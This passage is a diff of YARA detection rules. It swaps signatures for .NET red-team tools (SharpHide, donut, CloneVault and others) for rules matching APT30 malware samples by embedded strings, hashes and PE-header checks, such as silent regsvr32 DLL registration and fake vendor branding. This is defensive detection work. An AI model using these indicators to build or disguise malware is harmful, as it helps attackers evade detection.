-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8408a057-4910-5d7b-80bc-78df17c95bf7"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/TheWover/EasyNet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4741-L4759"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e8502f3d178897f17cdaab0608b5605aeb9161c42779a9d9c1477a5663dd24a1"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "19231001-1da3-5be6-8275-03c9fc7c6377"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L871-L885"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "57169cb4b8ef7a0d7ebd7aa039d1a1efd6eb639e"
+		logic_hash = "1fe5be3a88859fd3d485adfba92cf117afedc739bd0a46c039124919c3b81361"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "3097d856-25c2-42c9-8d59-2cdad8e8ea12" ascii wide
-		$typelibguid0up = "3097D856-25C2-42C9-8D59-2CDAD8E8EA12" ascii wide
-		$typelibguid1lo = "ba33f716-91e0-4cf7-b9bd-b4d558f9a173" ascii wide
-		$typelibguid1up = "BA33F716-91E0-4CF7-B9BD-B4D558F9A173" ascii wide
-		$typelibguid2lo = "37d6dd3f-5457-4d8b-a2e1-c7b156b176e5" ascii wide
-		$typelibguid2up = "37D6DD3F-5457-4D8B-A2E1-C7B156B176E5" ascii wide
+		$s1 = "Copyright (c) 2007 Microfost All Rights Reserved" fullword wide
+		$s2 = "Microfost" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpbyebear : FILE
+rule SIGNATURE_BASE_APT30_Generic_K : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4a7f2514-2519-5fd5-9d17-110a67f829e7"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/S3cur3Th1sSh1t/SharpByeBear"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4761-L4777"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c6d9fd33dd8d7bddd9e80e3c0106f0cab13f0952bb8269a10df147c06a5bd7ba"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "49629825-4233-5d74-b763-b2500536eb90"
+		date = "2015-04-03"
+		modified = "2023-01-06"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L887-L917"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "142bc01ad412799a7f9ffed994069fecbd5a2f93"
+		logic_hash = "eed03bb4290eef0ad1cf362a157923aa1fb8faa9305b5aaba3563d0a4e65e1a5"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "a6b84e35-2112-4df2-a31b-50fde4458c5e" ascii wide
-		$typelibguid0up = "A6B84E35-2112-4DF2-A31B-50FDE4458C5E" ascii wide
-		$typelibguid1lo = "3e82f538-6336-4fff-aeec-e774676205da" ascii wide
-		$typelibguid1up = "3E82F538-6336-4FFF-AEEC-E774676205DA" ascii wide
+		$x1 = "Maybe a Encrypted Flash" fullword ascii
+		$s0 = "C:\\Program Files\\Common Files\\System\\wab32" fullword ascii
+		$s1 = "\\TEMP\\" ascii
+		$s2 = "\\Temporary Internet Files\\" ascii
+		$s5 = "%s Size:%u Bytes" fullword ascii
+		$s7 = "$.DATA$" fullword ascii
+		$s10 = "? Size:%u By s" fullword ascii
+		$s12 = "Maybe a Encrypted Flash" fullword ascii
+		$s14 = "Name:%-32s" fullword ascii
+		$s15 = "NickName:%-32s" fullword ascii
+		$s19 = "Email:%-32s" fullword ascii
+		$s21 = "C:\\Prog" ascii
+		$s22 = "$LDDATA$" ascii
+		$s31 = "Copy File %s OK!" fullword ascii
+		$s32 = "%s Space:%uM,FreeSpace:%uM" fullword ascii
+		$s34 = "open=%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and ( all of ($x*) and 3 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphide : FILE
+rule SIGNATURE_BASE_APT30_Sample_33 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "928e00c1-549a-58f5-9e7e-982a4319691a"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/outflanknl/SharpHide"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4779-L4793"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3efa5458dcdf447184b91f8fa075c46c82aea25d619c43eabccce4d85ff15f38"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "be6afc4a-97fe-56ba-b057-e21415f9833d"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L919-L939"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "72c568ee2dd75406858c0294ccfcf86ad0e390e4"
+		logic_hash = "295c2d9fcf1c3bab54650fd1d203dfb8c12269945aad8927066ef6f815abea69"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "443d8cbf-899c-4c22-b4f6-b7ac202d4e37" ascii wide
-		$typelibguid0up = "443D8CBF-899C-4C22-B4F6-B7AC202D4E37" ascii wide
+		$s0 = "Version 4.7.3001" fullword wide
+		$s1 = "msmsgr.exe" fullword wide
+		$s2 = "MYUSER32.dll" fullword ascii
+		$s3 = "MYADVAPI32.dll" fullword ascii
+		$s4 = "CeleWare.NET1" fullword ascii
+		$s6 = "MYMSVCRT.dll" fullword ascii
+		$s7 = "Microsoft(R) is a registered trademark of Microsoft Corporation in the" wide
+		$s8 = "WWW.CeleWare.NET1" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and 6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsvc : FILE
+rule SIGNATURE_BASE_APT30_Sample_34 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cbc1d7d4-f3b4-5d02-84ae-621398cb7b51"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/SharpSvc"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4795-L4809"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "61a4269200c699c5d00bde40e11cfec92da5cf7c7aeaffaedf60e70bcb31ccdf"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a4802e13-4151-5f17-ba91-dcf9ef6b52bb"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L941-L960"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "216868edbcdd067bd2a9cce4f132d33ba9c0d818"
+		logic_hash = "2406f9613585669f88c389ea9729a089f6aef13fba46d60b713f51cd3a946b5d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "52856b03-5acd-45e0-828e-13ccb16942d1" ascii wide
-		$typelibguid0up = "52856B03-5ACD-45E0-828E-13CCB16942D1" ascii wide
+		$s0 = "dizhi.gif" ascii
+		$s1 = "eagles.vip.nse" ascii
+		$s4 = "o%S:S0" ascii
+		$s5 = "la/4.0" ascii
+		$s6 = "s#!<4!2>s02==<'s1" ascii
+		$s7 = "HlobalAl" ascii
+		$s9 = "vcMicrosoftHaveAck7" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcrasheventlog : FILE
+rule SIGNATURE_BASE_APT30_Sample_35 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "85d31989-ad96-5005-a747-8a19a67fdd80"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/slyd0g/SharpCrashEventLog"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4811-L4825"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f286244243024d23a6a27e5713a7ecedef9028b317d5827f35254a35e6c5473"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8a30720b-06da-5a82-8bab-bf06121afd68"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L962-L977"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "df48a7cd6c4a8f78f5847bad3776abc0458499a6"
+		logic_hash = "a70d9471215ddcfe84a39b33f53c4114b205aa2cc95cd93081afe442ee2b8b42"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "98cb495f-4d47-4722-b08f-cefab2282b18" ascii wide
-		$typelibguid0up = "98CB495F-4D47-4722-B08F-CEFAB2282B18" ascii wide
+		$s0 = "WhBoyIEXPLORE.EXE.exe" fullword ascii
+		$s5 = "Startup>A" fullword ascii
+		$s18 = "olhelp32Snapshot" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript_Languagemodebreakout : FILE
+rule SIGNATURE_BASE_APT30_Sample_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8c8cf79f-8e69-5293-b27a-1f8593061627"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FuzzySecurity/DotNetToJScript-LanguageModeBreakout"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4827-L4841"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f1651b896e62ee669e233403a9fb435adfb4f8965b6432452a1bb72b69bfe2c"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5dd6bc9-9383-5d48-92df-709996373655"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L979-L996"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8cea83299af8f5ec6c278247e649c9d91d4cf3bc"
+		logic_hash = "5f20b60b8721d62731708630a3443741c956304c553f651572282336995f6d4f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "deadb33f-fa94-41b5-813d-e72d8677a0cf" ascii wide
-		$typelibguid0up = "DEADB33F-FA94-41B5-813D-E72D8677A0CF" ascii wide
+		$s0 = "#hostid" fullword ascii
+		$s1 = "\\Windows\\C" ascii
+		$s5 = "TimUmove" fullword ascii
+		$s6 = "Moziea/4.0 (c" fullword ascii
+		$s7 = "StartupNA" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpermission : FILE
+rule SIGNATURE_BASE_APT30_Generic_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d5027f51-f3ca-53cd-96d7-c355b5c2e6fa"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/mitchmoser/SharPermission"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4843-L4857"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c22923057099a6a796cab36838728c0ae51a1c2a6f06c4a0c07415baadac6978"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4d21f402-24da-5e38-9225-a1461e61802f"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L998-L1031"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a2d4e8583286a3f44b49dc902143ee1ea321d26275c6cbcd54876e94b8cd2a3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "aaa5c64200ff0818c56ebe4c88bcc1143216c536"
+		hash1 = "cb4263cab467845dae9fae427e3bbeb31c6a14c2"
+		hash2 = "b69b95db8a55a050d6d6c0cba13d73975b8219ca"
+		hash3 = "5c29e21bbe8873778f9363258f5e570dddcadeb9"
+		hash4 = "d5cb07d178963f2dea2c754d261185ecc94e09d6"
+		hash5 = "626dcdd7357e1f8329e9137d0f9883f57ec5c163"
+		hash6 = "843997b36ed80d3aeea3c822cb5dc446b6bfa7b9"
 
 	strings:
-		$typelibguid0lo = "84d2b661-3267-49c8-9f51-8f72f21aea47" ascii wide
-		$typelibguid0up = "84D2B661-3267-49C8-9F51-8F72F21AEA47" ascii wide
+		$s0 = "%s\\%s.txt" fullword
+		$s1 = "\\ldsysinfo.txt"
+		$s4 = "(Extended Wansung)" fullword
+		$s6 = "Computer Name:" fullword
+		$s7 = "%s %uKB %04u-%02u-%02u %02u:%02u" fullword
+		$s8 = "ASSAMESE" fullword
+		$s9 = "BELARUSIAN" fullword
+		$s10 = "(PR China)" fullword
+		$s14 = "(French)" fullword
+		$s15 = "AdvancedServer" fullword
+		$s16 = "DataCenterServer" fullword
+		$s18 = "(Finland)" fullword
+		$s19 = "%s %04u-%02u-%02u %02u:%02u" fullword
+		$s20 = "(Chile)" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Registrystrikesback : FILE
+rule SIGNATURE_BASE_APT30_Generic_2 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1577ed24-0e17-54f9-bc29-bb209acf9645"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/RegistryStrikesBack"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4859-L4873"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa228e65f6bada1811c83528af8119b5336ebbc2381d5edef35c749ddff02487"
+		description = "FireEye APT30 Report Sample - from many files"
+		author = "Florian Roth (Nextron Systems)"
+		id = "60d7d661-50e8-5a9b-8366-eda8ff8ad9d4"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1032-L1087"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "56c9e58298c318b6dff2cce0ab896bb7bdd22429e6015b8fe72b8ad2f1f69d30"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "aba8b9fa213e5e2f1f0404d13fecc20ea8651b57"
+		hash1 = "7f11f5c9475240e5dd2eea7726c9229972cffc1f"
+		hash2 = "94d3f91d1e50ecea729617729013c3d143bf2c3e"
+		hash3 = "7e516ec04f28c76d67b8111ddfe58bbd628362cc"
+		hash4 = "6b27bc0b0460b0a25b45d897ed4f399106c284d9"
+		hash5 = "6df5b4b3da0964153bad22fb1f69483ae8316655"
+		hash6 = "b68bce61dfd8763c3003480ba4066b3cb1ef126e"
+		hash7 = "cc124682246d098740cfa7d20aede850d49b6597"
+		hash8 = "1ef415bca310575944934fc97b0aa720943ba512"
+		hash9 = "0559ab9356dcc869da18b2c96f48b76478c472b3"
+		hash10 = "f15272042a4f9324ad5de884bd50f4072f4bdde3"
+		hash11 = "1d93d5f5463cdf85e3c22c56ed1381957f4efaac"
+		hash12 = "b6f1fb0f8a2fb92a3c60e154f24cfbca1984529f"
+		hash13 = "9967a99a1b627ddb6899919e32a0f544ea498b48"
+		hash14 = "95a3c812ca0ad104f045b26c483495129bcf37ca"
+		hash15 = "bde9a72b2113d18b4fa537cc080d8d8ba1a231e8"
+		hash16 = "ce1f53e06feab1e92f07ed544c288bf39c6fce19"
+		hash17 = "72dae031d885dbf492c0232dd1c792ab4785a2dc"
+		hash18 = "a2ccba46e40d0fb0dd3e1dba160ecbb5440862ec"
+		hash19 = "c8007b59b2d495029cdf5b7b8fc8a5a1f7aa7611"
+		hash20 = "9c6f470e2f326a055065b2501077c89f748db763"
+		hash21 = "af3e232559ef69bdf2ee9cd96434dcec58afbe5a"
+		hash22 = "e72e67ba32946c2702b7662c510cc1242cffe802"
+		hash23 = "8fc0b1618b61dce5f18eba01809301cb7f021b35"
+		hash24 = "6a8159da055dac928ba7c98ea1cdbe6dfb4a3c22"
+		hash25 = "47463412daf0b0a410d3ccbb7ea294db5ff42311"
+		hash26 = "e6efa0ccfddda7d7d689efeb28894c04ebc72be2"
+		hash27 = "43a3fc9a4fee43252e9a570492e4efe33043e710"
+		hash28 = "7406ebef11ca9f97c101b37f417901c70ab514b1"
+		hash29 = "53ed9b22084f89b4b595938e320f20efe65e0409"
 
 	strings:
-		$typelibguid0lo = "90ebd469-d780-4431-9bd8-014b00057665" ascii wide
-		$typelibguid0up = "90EBD469-D780-4431-9BD8-014B00057665" ascii wide
+		$s0 = "%s\\%s\\KB985109.log" fullword
+		$s1 = "%s\\%s\\KB989109.log" fullword
+		$s2 = "Opera.exe" fullword wide
+		$s3 = "%s:All online success on %u!" fullword
+		$s4 = "%s:list online success on %u!" fullword
+		$s5 = "%s:All online fail!" fullword
+		$s6 = "Copyright Opera Software 1995-" wide
+		$s7 = "%s:list online fail!" fullword
+		$s8 = "OnlineTmp.txt" fullword
+		$s9 = "Opera Internet Browser" fullword wide
+		$s12 = "Opera Software" fullword wide
+		$s15 = "Check lan have done!!!" fullword
+		$s16 = "List End." fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Clonevault : FILE
+rule SIGNATURE_BASE_APT30_Generic_4 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3340a095-d926-5c85-b7ed-03151712538d"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/CloneVault"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4875-L4889"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b8a2be082e2444ac9bfa9dd820e08de147c8dbfc0573e7126bde39f18b917bfd"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2b246ae2-ec7d-5813-913e-729e4192da59"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1110-L1140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d6a45baee2741c5ebb05fc3f17974a041cd37f665df1e67934b0928fc75f37c3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "bb390f99bfde234bbed59f6a0d962ba874b2396c"
+		hash1 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash2 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash3 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
 
 	strings:
-		$typelibguid0lo = "0a344f52-6780-4d10-9a4a-cb9439f9d3de" ascii wide
-		$typelibguid0up = "0A344F52-6780-4D10-9A4A-CB9439F9D3DE" ascii wide
+		$s0 = "del NetEagle_Scout.bat" fullword
+		$s1 = "NetEagle_Scout.bat" fullword
+		$s2 = "\\visit.exe"
+		$s3 = "\\System.exe"
+		$s4 = "\\System.dat"
+		$s5 = "\\ieupdate.exe"
+		$s6 = "GOTO ERROR" fullword
+		$s7 = ":ERROR" fullword
+		$s9 = "IF EXIST " fullword
+		$s10 = "ioiocn" fullword
+		$s11 = "SetFileAttribute" fullword
+		$s12 = "le_0*^il" fullword
+		$s13 = "le_.*^il" fullword
+		$s14 = "le_-*^il" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Donut : FILE
+rule SIGNATURE_BASE_APT30_Generic_5 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "564dfd0a-af9b-505f-a6f0-de2a5c5c63f3"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/TheWover/donut"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4891-L4911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cae0d358cda5330f69162aa3116d544f9ba16d37dcbcbf33f9938360b861b89a"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e00a670e-cd95-515f-8109-219ce5121ba4"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1142-L1163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a9d93d7dbf8c5e97ce77cf3fef4941a01c5b1c6bcee40c6f4ca7117d8aee289e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "cb4833220c508182c0ccd4e0d5a867d6c4e675f8"
+		hash1 = "dfc9a87df2d585c479ab02602133934b055d156f"
+		hash2 = "bf59d5ff7d38ec5ffb91296e002e8742baf24db5"
 
 	strings:
-		$typelibguid0lo = "98ca74c7-a074-434d-9772-75896e73ceaa" ascii wide
-		$typelibguid0up = "98CA74C7-A074-434D-9772-75896E73CEAA" ascii wide
-		$typelibguid1lo = "3c9a6b88-bed2-4ba8-964c-77ec29bf1846" ascii wide
-		$typelibguid1up = "3C9A6B88-BED2-4BA8-964C-77EC29BF1846" ascii wide
-		$typelibguid2lo = "4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2" ascii wide
-		$typelibguid2up = "4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2" ascii wide
-		$typelibguid3lo = "361c69f5-7885-4931-949a-b91eeab170e3" ascii wide
-		$typelibguid3up = "361C69F5-7885-4931-949A-B91EEAB170E3" ascii wide
+		$s0 = "regsvr32 /s \"%ProgramFiles%\\Norton360\\Engine\\5.1.0.29\\ashelper.dll\"" fullword
+		$s1 = "name=\"ftpserver.exe\"/>" fullword
+		$s2 = "LiveUpdate.EXE" fullword wide
+		$s3 = "<description>FTP Explorer</description>" fullword
+		$s4 = "\\ashelper.dll"
+		$s5 = "LiveUpdate" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphandler : FILE
+rule SIGNATURE_BASE_APT30_Generic_6 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b71198a9-4d00-5d75-bc36-7c40655c84a3"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/jfmaes/SharpHandler"
